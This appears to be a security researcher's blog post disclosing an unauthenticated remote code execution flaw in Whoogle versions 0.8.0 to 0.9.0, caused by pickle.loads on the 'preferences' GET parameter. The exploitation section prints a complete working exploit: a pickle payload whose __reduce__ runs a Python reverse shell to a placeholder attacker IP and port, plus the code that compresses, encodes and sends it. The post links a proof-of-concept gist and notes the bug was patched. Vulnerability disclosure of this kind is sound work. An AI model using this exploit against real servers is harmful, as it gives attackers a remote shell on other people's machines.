Whoogle RCE
Unauthenticated RCE in Whoogle
PoC: https://gist.github.com/fern89/ca5fe76ad81b4bc363e7341e523a1651
Background
Whoogle is a self-hosted, ad-free, privacy-respecting metasearch engine, with over 9.5k stars on GitHub and several (20+ at time of writing) public instances hosting it. I have discovered a 0-click RCE for this software, affecting versions v0.8.0 to v0.9.0 (patched in v0.9.1), that allows an unauthenticated remote attacker to gain arbitrary code execution on the server running the Whoogle instance.
Vulnerability analysis
Let us take a look at the file app/models/config.py. Note the liberal use of pickle.loads
on user-supplied input. This is incredibly insecure! Such deserialization can lead to RCE, as shown here. Due to the abundance of pickle.loads
, we have the luxury to pick the one that seems easiest to exploit, which is found at line 265.
1
2
3
4
config = pickle.loads(
brotli.decompress(urlsafe_b64decode(
preferences.encode() + b'=='))
)
There is no encryption whatsoever on this instance of pickle.loads
, instead loading directly from a decompressed ?preferences=
parameter in the GET request. This makes exploitation incredibly easy for us!
Exploitation
Taking some code from revshells.com, we craft a payload for pickle to deserialize.
1
2
3
4
5
ipport = '("[IP]",[PORT])'
class P(object):
def __reduce__(self):
return (os.system,("python3 -c 'import os,pty,socket;s=socket.socket();s.connect("+ipport+");[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'",))
Compressing and base64-encoding,
1
payload = urllib.parse.quote('u'+base64.b64encode(brotli.compress(pickle.dumps(P()))).decode())
Finally, sending off the payload,
1
2
3
4
try:
requests.get(target + "search?preferences=" + payload + "&q=", timeout=1)
except requests.exceptions.ReadTimeout:
pass
Note that we set a short timeout, because otherwise the GET will block, and our exploit script will not automatically exit. Just like that, we have our exploit to gain a reverse shell on the server!
Conclusion
By getting the server to deserialize our malicious pickle object, we gain unauthenticated arbitrary code execution. Here is the exploit in action once more.
Once again, here is the PoC.
Timeline
2024-10-31 - Reported vulnerability
2024-11-01 - Vulnerability patched, blogpost released
Addendum
While researching this vulnerability, I have noticed past researchers also discovering several different vulnerabilities, including a SSRF, XSS, another SSRF, and path traversal. What is particularly interesting about this, is that these vulnerabilities were all discovered in version 0.8.3, which is a version affected by this RCE exploit! So I was genuinely surprised to find out, that the researcher who discovered those exploits, missed the RCE. Not trying to throw shade onto the researcher, just goes to show that even though we may think a project secure, there will almost always be more vulnerabilities lurking behind.